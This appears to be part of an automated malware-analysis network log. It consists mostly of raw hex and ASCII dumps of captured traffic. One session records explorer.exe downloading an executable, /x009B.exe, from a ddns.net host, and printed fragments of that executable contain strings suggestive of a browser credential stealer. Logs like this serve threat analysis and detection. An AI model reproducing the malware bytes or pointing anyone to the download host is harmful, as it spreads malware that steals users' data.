0c 11 73 12 20 00 63 Data Ascii: J5pL8/H-W@{aUulX/;cBwSsCkLz_g#)ev<DiVjX\|(/A!\|Y=Z0M$+&C(NY[NWO(hl%Jaod\|8 1,A5@#EhxS3]!,m4vB`s c
2021-12-28 04:19:41 UTC	4444	IN	Data Raw: b2 02 90 3f 5d 00 50 3a 4a 88 0f 2e a3 5c 00 0b e0 01 44 78 4e 52 82 03 9a cf c9 5e e8 3f f0 26 23 e1 00 ac 4d d1 5d d9 68 3a 0f 03 6a f0 89 09 e2 50 f8 04 df 78 e6 48 00 16 0e 0a 33 10 4b 25 41 01 5a 58 e1 86 e9 b4 78 ef d3 7f d8 a8 af 28 b8 d1 2c ce 2e 05 00 0b 35 69 a7 b0 cd 0b 67 d2 81 45 80 5b c9 9a d1 d7 00 71 b2 34 e8 08 b6 54 1d 72 22 00 6d 9e 8d 1e 92 9f f5 1f 00 fa 87 65 39 6a 27 e4 41 4c 17 83 01 c9 2a d1 3d 7c 08 d4 59 c0 00 7e a7 4a ba 82 80 d2 d4 05 0c 28 c6 17 23 00 a8 87 c8 ce dc 38 e2 02 00 2a 64 98 b0 e2 72 db 1c 00 43 32 8c 95 ba 80 25 4a 00 85 c8 b2 90 64 1a 34 31 7b e4 00 39 35 55 3a 9f 3b eb 0b 00 2c 36 71 c0 56 cc 37 1c 00 16 38 7d 9d 8f 1d d4 85 00 0c 39 2f c4 5b e0 be 4c 00 f0 56 92 2e 4b 7a c3 60 1e 93 f3 b4 c1 13 3a 49 e4 ab fc Data Ascii: ?]P:J.\DxNR^?&#M]h:jPxH3K%AZXx(,.5igE[q4Tr"me9j'AL=\|Y~J(#8drC2%Jd41{95U:;,6qV78}9/[LV.Kz`:I
2021-12-28 04:19:41 UTC	4460	IN	Data Raw: a2 a5 4b 06 ad 42 1d 08 ba 60 cc da 9b a8 70 90 7d bb 23 94 a6 ac ff bc 94 65 cc 33 d0 ba 2b 8a 16 f4 11 ec c9 3b 4d f9 b8 2a fd b6 8d cf 18 a1 27 04 43 17 5e 51 4f 52 98 a4 e4 1d 7b 84 a9 e8 5e 32 35 34 6c 56 27 df d3 e2 e7 02 e8 27 64 ff 96 bd dc 61 67 b7 8d d0 37 24 6d fc df 93 10 99 83 a3 1a 56 d9 22 ce ac af a6 cb 33 36 8f a9 5b 79 9f cb 4a 19 b6 d0 34 e2 e7 2c 62 3d 8c 6d e5 43 40 65 d6 42 8b 7c 21 47 a3 c2 e6 91 b8 71 7b b3 1c b2 25 7f e9 0d 17 5b 14 ef d8 e0 9b 87 fb f1 f2 64 0d 29 e4 02 4d 55 64 96 4c 49 74 71 e0 a6 24 42 34 17 e5 9a 87 05 41 88 64 90 e8 ce f7 dc 97 86 26 34 6d de 3c 05 46 8e c2 56 f3 ec eb 99 5f 87 ba f3 34 06 9e 36 c6 a0 50 3c 79 22 20 eb 75 73 4c f2 7d 64 66 1e 75 28 e3 a5 ff da bf 13 87 d3 09 dd 2f 43 2b 4d 99 10 7a e5 09 75 Data Ascii: KB`p}#e3+;M*'C^QOR{^254lV''dag7$mV"36[yJ4,b=mC@eB\|!Gq{%[d)MUdLItq$B4Ad&4m<FV_46P<y" usL}dfu(/C+Mzu
2021-12-28 04:19:41 UTC	4476	IN	Data Raw: 0f f9 1e 2c 5a 20 31 56 87 9c 82 64 e2 1e a2 6a fc a5 31 5f 7d b0 a5 1e 24 8a c7 b1 99 c6 9e 3e ad af 62 01 99 53 db 9f 43 9d 4e 46 0a 51 9d f7 32 76 e3 d4 82 02 e1 d6 dc 48 53 40 dc 06 93 67 9e 20 35 f3 7a ac 06 97 e3 43 d2 8a 91 ae d0 07 c3 d1 6c af 73 eb 99 b1 d9 4d 45 52 1c bf 94 14 ec f0 ea be ca f7 db c4 db aa d0 b9 5f c3 91 47 13 2a a7 76 73 87 bd 4f 44 e9 92 9f 5b 55 4f 83 69 fe 99 82 b1 45 c1 32 84 6e c0 02 60 69 b9 62 b2 3b 15 34 16 96 c2 e0 3b 17 4e 6c 7c 4c 1e 0d 0e 6f ef a8 8d 6a f4 7b db 48 cc c9 c0 a9 b6 11 83 0a 7f 20 21 b8 61 fc 6c 65 4b 9b 5d ab 21 be 90 ba 66 7f e1 84 72 3f 0b 61 28 64 9b a5 0a 66 1a ba 8e 8c 4b 9d a1 19 bc 22 a6 9e df 05 b9 e4 df 85 93 aa fd fc 80 e5 16 b9 cb 1f 77 9c 73 ac 8d 02 ac 27 f5 26 9f 84 6c 2e d1 ed de 58 62 Data Ascii: ,Z 1Vdj1_}$>bSCNFQ2vHS@g 5zClsMER_G*vsOD[UOiE2n`ib;4;Nl\|Loj{H !aleK]!fr?a(dfK"ws'&l.Xb
2021-12-28 04:19:41 UTC	4492	IN	Data Raw: 21 f2 a1 74 f2 e3 85 97 75 11 f4 ac 8c 01 20 41 07 65 9f a5 11 0d 85 82 c2 61 0a f5 0d a7 6d f9 62 bd 4f fe a2 18 9f f8 ff b0 ad 18 39 cd a4 8e f4 7a 13 9b c2 d1 f9 8b 8b 8f 73 e9 c2 6f 07 e7 91 4f 01 38 e0 53 6f 93 5e 2b 3c 67 7c 82 c8 24 eb 81 40 e0 04 39 43 f9 27 ef d5 43 c6 5c 59 e8 f9 bb 92 2f 5f 42 c5 96 4e 58 d9 69 c8 43 b6 0b 87 68 83 7f 50 f8 c4 ba 83 c3 d8 6c c3 57 9a 2c 0c da 0f 28 72 02 dd 99 28 e1 8b 1f 50 a8 b3 d9 9f e4 9a 69 c4 b5 cd 69 39 e2 76 4e 76 23 c6 70 98 48 c2 e5 02 bf b8 a7 3d 90 45 f7 12 aa 7d e7 fe 2b 04 92 60 f9 3c c7 df 36 16 6c 65 87 ae 2f f3 00 2b 65 96 a4 58 eb 3b 49 fc 35 43 11 07 fd 38 0c de 36 49 80 f8 d9 e7 52 d7 fa 53 d7 f3 93 3d 51 56 3d d8 4e 71 7e 9f bf 1f 5d c6 4d d6 f2 e9 6e c4 e5 c6 00 88 74 f7 5c c9 f2 32 23 2b Data Ascii: !tu AeambO9zsoO8So^+<g\|$@9C'C\Y/_BNXiChPlW,(r(Pii9vNv#pH=E}+`<6le/+eX;I5C86IRS=QV=Nq~]Mnt\2#+
2021-12-28 04:19:41 UTC	4508	IN	Data Raw: b5 8f 48 5c 85 a4 e8 2b 50 5a 83 a8 fe 96 8d cc 67 c8 1a fc 10 ee 70 fa 47 ad 99 63 5d cb fb be 11 9b 16 98 44 b5 c4 df 9b 16 f8 bb f5 79 0a 4b 7c 8b 21 e2 4e b6 ae c4 63 11 41 29 30 d8 a3 f3 9a 7e 36 a2 f5 ae 6f 74 d6 3c 97 2c 2c 4a 3a 63 52 3f 33 4b 45 6a b4 88 d4 22 e2 be 38 8a d1 d5 b4 e8 6a 44 4b 8a 89 d5 58 43 ef 76 aa 62 c8 1f 39 c5 c2 33 a0 c7 e3 0f ec 72 c9 ef e9 66 66 3c c2 60 55 4f 95 fb 87 01 cc 0c fe ff f7 60 3a 9e e5 d2 02 16 48 a0 9d 16 9b c0 21 ba 79 4e 65 ee 88 63 ef 7d 8f b7 eb 93 2f 19 ce b6 09 e7 17 4d 50 76 29 ed d9 b1 d7 4d 3f 3d fc f2 6d 4d 62 16 5c bc 9d 50 f8 16 f8 24 47 d8 57 3b 95 08 ec c5 85 97 7d de a5 59 5b 99 37 37 3c bf 10 23 3a bb 31 9c a4 3c 2e 1f 60 f8 c7 41 c1 d4 a6 bd 6f c5 22 56 a9 37 17 0d 95 4f e5 04 5e 5f 72 da 0c Data Ascii: H\+PZgpGc]DyK\|!NcA)0~6ot<,,J:cR?3KEj"8jDKXCvb93rff<`UO`:H!yNec}/MPv)M?=mMb\P$GW;}Y[77<#:1<.`Ao"V7O^_r
2021-12-28 04:19:41 UTC	4524	IN	Data Raw: 47 1d c6 ae 7e 08 6e 86 e9 2a 45 4e 70 ae da a2 55 59 af 9c 39 d8 b0 20 26 f1 ef b2 4e a7 5a 6f ac cd 6b ab 48 59 4a c0 b9 7d c2 39 92 f7 d2 4c de 00 c9 3c 99 4a 5d e9 b9 34 14 e6 63 1f 9b bd a5 49 67 18 d8 3a 8d 06 f9 77 96 8d b8 03 56 a1 fc 17 51 29 71 6f 1d 91 2c bf af d4 a1 4c 10 a7 cc 1e 62 49 e1 e8 00 f2 9f 7c f9 79 89 d4 99 85 09 6a 7d 19 0b ad 71 47 e5 e6 7e b7 ff be b4 3d 7c 51 49 6a 6c d7 7f b4 c9 23 86 f0 0f 58 03 1c 79 97 b3 20 27 66 8b eb ae 89 39 08 8e 96 a6 c7 05 1e b4 6d be 3a 19 b1 eb c7 de 9b b5 92 04 98 99 fa 6d ac 71 4c 33 44 39 ef f8 9b fb f2 2f 55 61 5e cd 09 94 43 30 dc 5a 7f ae 4f 70 5e 24 5c 0d 6b 4d af 41 80 87 4f 08 bf e1 d0 d2 63 68 25 67 a1 b4 11 01 7a 79 4d 9c 87 81 98 8b 29 f3 1f c7 89 f3 6d d2 1e 05 de f1 6b f7 5d bc 96 30 Data Ascii: G~n*ENpUY9 &NZokHYJ}9L<J]4cIg:wVQ)qo,LbI\|yj}qG~=\|QIjl#Xy 'f9m:mqL3D9/Ua^C0ZOp^$\kMAOch%gzyM)mk]0
2021-12-28 04:19:41 UTC	4540	IN	Data Raw: 83 b7 4d bc 29 59 90 78 aa df 97 9c 95 c5 f4 70 06 72 3b e5 4e 7a 26 ac 26 22 da 3c bb 5c bb 4f a9 0d 67 d4 13 e8 26 75 5a 24 1a ac 3e 7f 2e a6 4e 0d 0e c9 44 24 44 fc c8 fe a0 26 1b 2f c3 47 59 e4 b5 1d 2e aa b8 45 53 4e c7 28 10 b1 c9 a5 af a7 a4 db 49 91 ab 98 e4 87 35 96 f8 b8 22 67 9d 9e fc 9c fb eb c7 f9 4a f8 91 4c bf d5 f2 98 fc 0c 08 ce fb 8c b4 9c 6e e2 0b a4 4f 43 67 26 37 78 fd fb 1e 67 3d 95 f2 ff ab 1c f8 68 3b be 07 16 6f 9c 0c 85 2f c4 98 f7 7e 9d ef 33 d5 ac 60 9d f4 5c 05 fa 19 5e a7 c9 f6 ac 93 a8 e6 dc f4 95 6d 5b 6c a5 a1 e4 9f 78 13 0a e5 34 9b 19 f3 d6 90 b9 08 e4 71 7f c4 c1 85 09 b7 4f 6d 94 7b 85 94 38 8a f9 e3 c6 93 90 04 76 b4 ae 24 41 2c 7c 9f 20 7b 84 11 b5 e8 ea af a4 a5 64 c3 1d 33 bd e8 b8 ec a3 33 e4 c7 01 a7 2b 72 0e 2b Data Ascii: M)Yxpr;Nz&&"<\Og&uZ$>.ND$D&/GY.ESN(I5"gJLnOCg&7xg=h;o/~3`\^m[lx4qOm{8v$A,\| {d33+r+
2021-12-28 04:19:41 UTC	4556	IN	Data Raw: 76 0b 2a 94 95 1e f4 cb 48 3c f9 cd c1 5a 87 8c 4a 71 42 65 af 8d c2 98 4e ee 57 23 e8 ad c2 04 e8 9b db 7e 59 9a b6 21 e4 45 45 8e 3a 15 f4 57 fb 87 63 97 d5 e7 6f 83 d6 32 35 ea eb a0 6c 18 ef 74 96 5a ff 25 98 aa 92 94 3f 25 fb 52 a1 38 c0 ce fa 8c 0c 21 28 b1 dd ac 45 1e 38 91 dd 3b 66 bc 7d 69 a0 5e 21 a2 5d f1 c0 97 70 3a 71 98 8d ca 85 7b e4 24 59 56 17 85 73 9e a9 bd 03 5b 41 87 de 1b d5 34 3e c2 51 4c 43 bb 83 4f 8a fd b4 79 06 37 c2 03 76 6b fd ae 2c 19 cc 07 b0 7c 3f c6 b7 f2 ba 50 fb ac 4a eb e3 bb 9d 6f 57 e8 42 4d 44 84 2a 63 ac 1e 25 ce 93 cd 5e 10 e6 d3 f8 5b e6 82 a1 a1 e6 ee 80 54 6c 52 7f 48 90 83 d4 5c d7 f2 8d 95 b9 7e ec 69 55 34 6b 72 9e 92 33 b0 32 67 88 4a 05 4f 85 a0 65 00 84 27 58 8b ab 68 63 d9 2a 78 9d a7 c5 13 0b f2 6f dc 1d Data Ascii: vH<ZJqBeNW#~Y!EE:Wco25ltZ%?%R8!(E8;f}i^!]p:q{$YVs[A4>QLCOy7vk,\|?PJoWBMDc%^[TlRH\~iU4kr32gJOe'Xhc*xo
2021-12-28 04:19:41 UTC	4572	IN	Data Raw: 0c 1b 70 49 ff de 9f fb c0 35 45 58 cd 92 f6 00 0a 77 2c 92 d9 f2 43 b2 ef e3 2a 00 e4 f4 1b c7 1f 9e ed d2 ad 93 59 dd 10 23 f8 7a 60 9b 41 7f da c0 78 c1 74 6c 43 13 3c 73 b9 a0 75 1e 31 25 bf a6 d6 cd 49 89 94 14 b7 2e 39 2f 5a 24 34 dc a0 b9 79 cd 0c 45 16 f1 72 c2 9e b7 16 bc c0 58 5b 88 d5 c8 44 47 a4 cb 2b c4 9b a5 e9 0c 0d 7f ec 90 df ef d1 7b f5 c3 b5 89 c8 6a db 5f 04 c3 3c a7 70 a2 f9 61 03 0e c1 be 16 4f c5 e1 b4 e1 b3 03 c5 71 84 28 31 c8 17 1b c1 d3 9e a2 76 82 c7 bd 87 44 b4 4f cd 28 c8 00 17 af d3 47 ac 43 e0 e3 aa d2 53 7f 11 76 9a c1 8d d2 2f db 7d af 1c 99 90 01 8c 12 cf f1 fe 50 9c 88 06 59 dd c7 f1 b8 c3 c6 61 d2 24 43 ad bd 62 13 22 61 82 d1 dd b3 5c 6b 01 6a 10 98 91 a7 45 7c 40 36 08 1e c4 1b 12 cc 3d 46 39 b8 49 02 48 69 e2 5b c4 Data Ascii: pI5EXw,C*Y#z`AxtlC<su1%I.9/Z$4yErX[DG+{j_<paOq(1vDO(GCSv/}PYa$Cb"a\kjE\|@6=F9IHi[
2021-12-28 04:19:41 UTC	4588	IN	Data Raw: 27 f4 b5 72 fa 2e 31 1b a6 41 b6 3b 2f 4a 94 6c 3f 08 7b 60 08 3a be a1 d7 cd 4a 6a cf 78 49 88 36 4b ab ff 49 70 ab e6 a4 e5 7d 6c 13 b0 5c 1f a8 bc 7d 52 44 6b 62 80 55 ad a2 24 db 0e d3 ce 37 3d 39 0b 60 7c 0d e8 70 89 7e 93 38 5e 8c ad 4e 24 7d 79 88 ca f6 2f 28 35 53 2d 94 b6 f3 8a 42 27 ed 33 eb 7c 31 40 79 6f 4c 47 51 2b 43 bd ce 9c de 79 db 8b 0a f9 cb 09 c2 44 d3 12 82 d3 25 79 cb 95 6f 9b 2a eb 8e c9 66 af 0d 4b 1e 2d f9 e9 f0 d7 c5 ca 6f 09 5e e0 2b 00 d4 c3 f3 df 00 c6 44 2c 10 3c 0f c2 9c 09 3a 08 8f 19 02 d6 9f f7 b4 e9 72 4c dd cf 91 65 d6 66 9d d0 0d 0b a7 2e d8 fb aa 8f 8a c8 56 50 04 dd 27 22 6a eb 17 9d cf ee 5d 2d 91 b5 41 37 7a 5b 4f c7 0b b7 86 6f 9f ba e8 d9 5c 99 9e c4 5b 88 ce b8 1d 8c 98 a6 52 74 60 cf 01 df 36 10 a3 46 64 3d f5 Data Ascii: 'r.1A;/Jl?{`:JjxI6KIp}l\}RDkbU$7=9`\|p~8^N$}y/(5S-B'3\|1@yoLGQ+CyD%yo*fK-o^+D,<:rLef.VP'"j]-A7z[Oo\[Rt`6Fd=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49865	155.248.231.246	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-28 04:19:48 UTC	4593	OUT	GET /x009B.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: downloafilesaccess.ddns.net
2021-12-28 04:19:48 UTC	4594	IN	HTTP/1.1 200 OK Date: Tue, 28 Dec 2021 04:19:48 GMT Server: Apache Last-Modified: Sun, 26 Dec 2021 18:01:39 GMT Accept-Ranges: bytes Content-Length: 115712 Connection: close Content-Type: application/x-msdownload
2021-12-28 04:19:48 UTC	4594	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 67 6e 09 e3 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 90 01 00 00 30 00 00 00 00 00 00 ba 91 01 00 00 20 00 00 00 c0 01 00 00 00 40 00 00 20 00 00 00 04 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 02 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELgn00 @ @
2021-12-28 04:19:48 UTC	4602	IN	Data Raw: 07 16 02 8e 69 1f 0f 59 28 72 00 00 0a 1f 10 8d 67 00 00 01 0c 07 8e 69 08 8e 69 59 8d 67 00 00 01 0d 07 07 8e 69 1f 10 59 08 16 1f 10 28 72 00 00 0a 07 16 09 16 07 8e 69 08 8e 69 59 28 72 00 00 0a 73 13 00 00 06 03 06 14 09 08 6f 20 00 00 06 13 04 de 05 26 de 00 14 2a 11 04 2a 00 00 01 10 00 00 00 00 1e 00 64 82 00 03 0f 00 00 01 1b 30 0b 00 c6 00 00 00 12 00 00 11 02 72 89 08 00 70 72 91 08 00 70 72 cb 08 00 70 28 22 00 00 06 0a 02 06 03 12 01 28 23 00 00 06 0c 12 04 04 05 0e 05 28 1a 01 00 06 11 04 13 05 02 06 28 21 00 00 06 8d 67 00 00 01 13 06 16 13 07 02 07 0e 04 0e 04 8e 69 12 04 11 06 11 06 8e 69 14 16 12 07 16 28 18 00 00 06 2c 06 73 74 00 00 0a 7a 11 07 8d 67 00 00 01 0d 02 07 0e 04 0e 04 8e 69 12 04 11 06 11 06 8e 69 09 09 8e 69 12 07 16 28 18 Data Ascii: iY(rgiiYgiY(riiY(rso &**d0rprprp("(#((!gii(,stzgiii(
2021-12-28 04:19:48 UTC	4609	IN	Data Raw: 67 01 00 06 2a 00 00 13 30 05 00 55 00 00 00 00 00 00 00 03 6f 45 01 00 06 2c 4c 04 28 bc 01 00 06 28 11 00 00 06 6f 6b 01 00 06 04 28 bc 01 00 06 17 8d 38 00 00 02 25 16 73 a5 00 00 06 a2 28 8c 00 00 06 6f 6d 01 00 06 04 28 bc 01 00 06 17 8d 38 00 00 02 25 16 73 a8 00 00 06 a2 28 8c 00 00 06 6f 6f 01 00 06 2a 1a 7e 08 00 00 04 2a 1e 02 80 08 00 00 04 2a 1a 7e 09 00 00 04 2a 1e 02 80 09 00 00 04 2a 1e 02 28 65 00 00 0a 2a 72 02 17 2e 06 02 18 2e 08 2b 0c 73 4c 00 00 06 2a 73 66 00 00 06 2a 73 4c 00 00 06 2a 1b 30 06 00 16 01 00 00 26 00 00 11 73 a6 00 00 0a 0a 02 6f c9 00 00 0a 0b 38 e6 00 00 00 07 6f ca 00 00 0a 0c 08 6f 36 01 00 06 6f cb 00 00 0a 0d 38 b7 00 00 00 09 6f cc 00 00 0a 13 04 08 6f 34 01 00 06 72 2f 03 00 70 11 04 6f 26 01 00 06 28 62 00 00 Data Ascii: g0UoE,L((ok(8%s(om(8%s(oo~~(er..+sLsfsL0&so8oo6o8oo4r/po&(b
2021-12-28 04:19:48 UTC	4617	IN	Data Raw: 99 00 00 04 02 7b 12 00 00 04 06 8f 45 00 00 02 7b 99 00 00 04 72 01 0e 00 70 1a 6f f0 00 00 0a 17 58 6f f1 00 00 0a 17 8d 59 00 00 01 25 16 1f 2c 9d 6f 9c 00 00 0a 0b 16 13 04 2b 6e 07 11 04 07 11 04 9a 16 8d 59 00 00 01 6f f2 00 00 0a a2 07 11 04 9a 1f 20 6f f3 00 00 0a 13 05 11 05 16 31 10 07 11 04 07 11 04 9a 16 11 05 6f f4 00 00 0a a2 07 11 04 9a 72 05 0e 00 70 1a 6f f0 00 00 0a 2c 22 02 02 7b 11 00 00 04 11 04 17 58 28 1c 00 00 2b 7d 11 00 00 04 02 7b 11 00 00 04 11 04 07 11 04 9a a2 11 04 17 58 13 04 11 04 07 8e 69 17 59 31 89 02 02 7b 12 00 00 04 06 8f 45 00 00 02 7b 98 00 00 04 17 6a 59 02 7b 10 00 00 04 5a 28 ae 00 00 06 0d de 05 26 16 0d de 00 09 2a 41 1c 00 00 00 00 00 00 00 00 00 00 2d 01 00 00 2d 01 00 00 05 00 00 00 0a 00 00 01 1b 30 07 00 Data Ascii: {E{rpoXoY%,o+nYo o1orpo,"{X(+}{XiY1{E{jY{Z(&*A--0
2021-12-28 04:19:48 UTC	4625	IN	Data Raw: 01 00 0a 6f 7e 01 00 0a 8c 72 00 00 01 72 7d 15 00 70 28 7f 01 00 0a 73 6e 01 00 0a 0b 07 6f 6f 01 00 0a 0c 08 6f 70 01 00 0a 0d 2b 61 09 6f 71 01 00 0a 74 4c 00 00 01 13 04 11 04 1a 8d 59 00 00 01 25 d0 bc 00 00 04 28 3a 00 00 0a 73 3b 00 00 0a 6f 72 01 00 0a 25 2d 04 26 14 2b 05 6f 88 00 00 0a 02 28 60 00 00 0a 2c 1e 06 11 04 72 58 16 00 70 6f 72 01 00 0a 25 2d 04 26 14 2b 05 6f 88 00 00 0a 6f cf 00 00 0a de 03 26 de 00 09 6f 74 01 00 0a 2d 97 de 0a 09 2c 06 09 6f 0b 00 00 0a dc de 0a 08 2c 06 08 6f 0b 00 00 0a dc de 0a 07 2c 06 07 6f 0b 00 00 0a dc de 03 26 de 00 06 2a 00 00 01 40 00 00 00 00 5f 00 51 b0 00 03 0a 00 00 01 02 00 50 00 6d bd 00 0a 00 00 00 00 02 00 49 00 80 c9 00 0a 00 00 00 00 02 00 42 00 93 d5 00 0a 00 00 00 00 00 00 06 00 db e1 00 03 Data Ascii: o~rr}p(snooop+aoqtLY%(:s;or%-&+o(`,rXpor%-&+oo&ot-,o,o,o&*@_QPmIB
2021-12-28 04:19:48 UTC	4633	IN	Data Raw: 00 70 11 00 00 29 00 16 00 e7 00 01 00 10 00 f0 11 00 00 29 00 18 00 ec 00 01 00 10 00 4a 00 00 00 29 00 1e 00 fa 00 01 00 10 00 17 03 00 00 29 00 25 00 0a 01 01 00 10 00 08 05 00 00 29 00 29 00 13 01 01 01 00 00 6c 07 00 00 fd 00 2c 00 1a 01 09 01 10 00 e1 18 00 00 49 01 31 00 1a 01 09 01 10 00 54 19 00 00 49 01 3f 00 1d 01 09 01 10 00 07 19 00 00 49 01 42 00 1d 01 09 01 10 00 20 19 00 00 49 01 45 00 1e 01 01 01 00 00 65 09 00 00 fd 00 47 00 1f 01 01 01 00 00 37 0c 00 00 fd 00 4a 00 1f 01 01 00 10 00 0d 32 00 00 29 00 50 00 1f 01 01 00 10 00 70 0d 00 00 29 00 50 00 24 01 81 00 10 00 32 32 00 00 29 00 54 00 2d 01 01 00 10 00 af 0e 00 00 29 00 55 00 32 01 01 00 10 00 29 07 00 00 29 00 58 00 39 01 01 00 10 00 70 04 00 00 29 00 65 00 54 01 01 00 10 00 05 09 Data Ascii: p))J))%))l,I1TI?IB IEeG7J2)Pp)P$22)T-)U2))X9p)eT
2021-12-28 04:19:48 UTC	4641	IN	Data Raw: 07 a7 17 a9 01 dd a7 00 00 00 00 86 08 63 07 b1 17 a9 01 e6 a7 00 00 00 00 86 08 53 09 a7 17 aa 01 ee a7 00 00 00 00 86 08 5c 09 b1 17 aa 01 f7 a7 00 00 00 00 86 08 25 0c a7 17 ab 01 ff a7 00 00 00 00 86 08 2e 0c b1 17 ab 01 08 a8 00 00 00 00 86 08 5e 0d a7 17 ac 01 10 a8 00 00 00 00 86 08 67 0d b1 17 ac 01 1c a8 00 00 00 00 86 18 a7 33 01 00 ad 01 a8 a8 00 00 00 00 86 08 5b 04 e4 00 ad 01 b0 a8 00 00 00 00 86 08 63 04 10 00 ad 01 b9 a8 00 00 00 00 86 08 00 07 e4 00 ae 01 c1 a8 00 00 00 00 86 08 08 07 10 00 ae 01 ca a8 00 00 00 00 86 08 e3 08 bc 17 af 01 d2 a8 00 00 00 00 86 08 eb 08 c2 17 af 01 db a8 00 00 00 00 86 18 a7 33 01 00 b0 01 e3 a8 00 00 00 00 86 08 5b 04 e4 00 b0 01 eb a8 00 00 00 00 86 08 63 04 10 00 b0 01 f4 a8 00 00 00 00 86 08 00 07 e4 00 Data Ascii: cS\%.^g3[c3[c
2021-12-28 04:19:48 UTC	4649	IN	Data Raw: 03 e5 0a 1a 0a d9 02 67 27 27 0a 81 04 a7 33 36 0a 81 04 40 26 76 05 81 04 9c 3f 76 05 89 04 31 3e 3c 0a 89 04 ed 3b 45 0a 91 04 a7 33 01 00 91 04 46 20 36 0a 81 04 a7 33 01 00 81 04 b9 41 10 00 81 04 92 20 10 00 91 04 91 19 13 04 f1 02 e8 36 55 0a 89 04 31 3e 5c 0a 99 04 26 2b 63 0a 99 04 3b 2b 69 0a 99 04 c9 29 70 0a 81 01 a7 33 8f 00 a9 04 a1 21 76 0a 99 04 f1 29 82 0a e4 00 a7 33 01 00 84 01 99 33 39 00 8c 01 98 3d 27 00 e4 00 a7 1a b9 01 a1 01 a7 33 c0 0a 31 03 ef 27 ce 0a a9 01 a7 33 d5 0a a9 01 fb 27 df 0a c9 04 18 1d e4 00 b1 01 a7 33 01 00 b1 01 1d 29 05 00 b1 01 d5 3b 05 00 b1 01 52 27 f6 0a b1 01 48 27 00 0b f9 02 00 22 05 0b a4 01 a7 33 8f 00 b1 02 8e 22 30 0b ac 01 a7 33 8f 00 b1 02 39 41 5f 0b b4 01 a7 33 8f 00 b1 02 35 41 90 0b 9c 01 a7 33 Data Ascii: g''36@&v?v1><;E3F 63A 6U1>\&+c;+i)p3!v)339='31'3'3);R'H'"3"039A_35A3
2021-12-28 04:19:48 UTC	4656	IN	Data Raw: 31 38 36 34 34 46 35 36 43 35 44 33 46 39 37 34 35 33 46 46 46 32 30 00 49 64 32 30 00 5f 5f 53 74 61 74 69 63 41 72 72 61 79 49 6e 69 74 54 79 70 65 53 69 7a 65 3d 33 30 00 5f 5f 53 74 61 74 69 63 41 72 72 61 79 49 6e 69 74 54 79 70 65 53 69 7a 65 3d 34 30 00 37 37 41 39 36 38 33 46 41 46 32 45 43 39 45 43 33 44 41 42 43 30 39 44 33 33 43 33 42 44 30 34 45 38 38 39 37 44 36 30 00 41 38 46 39 42 36 32 31 36 30 44 46 30 38 35 42 39 32 36 44 35 45 44 37 30 45 32 42 30 46 36 43 39 35 41 32 35 32 38 30 00 46 34 31 33 43 45 41 39 42 41 41 34 35 38 37 33 30 35 36 37 46 45 34 37 46 35 37 43 43 33 43 39 34 44 44 46 36 33 43 30 00 3c 3e 39 5f 5f 30 5f 30 00 3c 54 72 79 46 69 6e 64 3e 62 5f 5f 30 5f 30 00 3c 53 d1 81 d0 b0 6e 3e 62 5f 5f 30 5f 30 00 3c 2e 63 74 6f Data Ascii: 18644F56C5D3F97453FFF20Id20__StaticArrayInitTypeSize=30__StaticArrayInitTypeSize=4077A9683FAF2EC9EC3DABC09D33C3BD04E8897D60A8F9B62160DF085B926D5ED70E2B0F6C95A25280F413CEA9BAA458730567FE47F57CC3C94DDF63C0<>9__0_0<TryFind>b__0_0<Sn>b__0_0<.cto
2021-12-28 04:19:48 UTC	4664	IN	Data Raw: 00 52 65 61 64 43 6f 6e 74 65 78 74 54 61 62 6c 65 00 49 45 6e 75 6d 65 72 61 62 6c 65 00 49 44 69 73 70 6f 73 61 62 6c 65 00 56 69 73 69 62 6c 65 00 54 6f 44 6f 75 62 6c 65 00 52 75 6e 74 69 6d 65 46 69 65 6c 64 48 61 6e 64 6c 65 00 52 75 6e 74 69 6d 65 54 79 70 65 48 61 6e 64 6c 65 00 47 65 74 54 79 70 65 46 72 6f 6d 48 61 6e 64 6c 65 00 52 65 63 74 61 6e 67 6c 65 00 52 65 61 64 46 69 6c 65 00 44 6f 77 6e 6c 6f 61 64 46 69 6c 65 00 70 72 6f 66 69 6c 65 00 68 4d 6f 64 75 6c 65 00 67 65 74 5f 4e 61 6d 65 00 73 65 74 5f 4e 61 6d 65 00 70 72 6f 63 4e 61 6d 65 00 66 69 65 6c 64 4e 61 6d 65 00 74 61 62 6c 65 4e 61 6d 65 00 73 65 74 5f 46 69 6c 65 4e 61 6d 65 00 66 69 6c 65 4e 61 6d 65 00 47 65 63 6b 6f 52 6f 61 6d 69 6e 67 4e 61 6d 65 00 43 68 72 6f 6d 65 47 Data Ascii: ReadContextTableIEnumerableIDisposableVisibleToDoubleRuntimeFieldHandleRuntimeTypeHandleGetTypeFromHandleRectangleReadFileDownloadFileprofilehModuleget_Nameset_NameprocNamefieldNametableNameset_FileNamefileNameGeckoRoamingNameChromeG
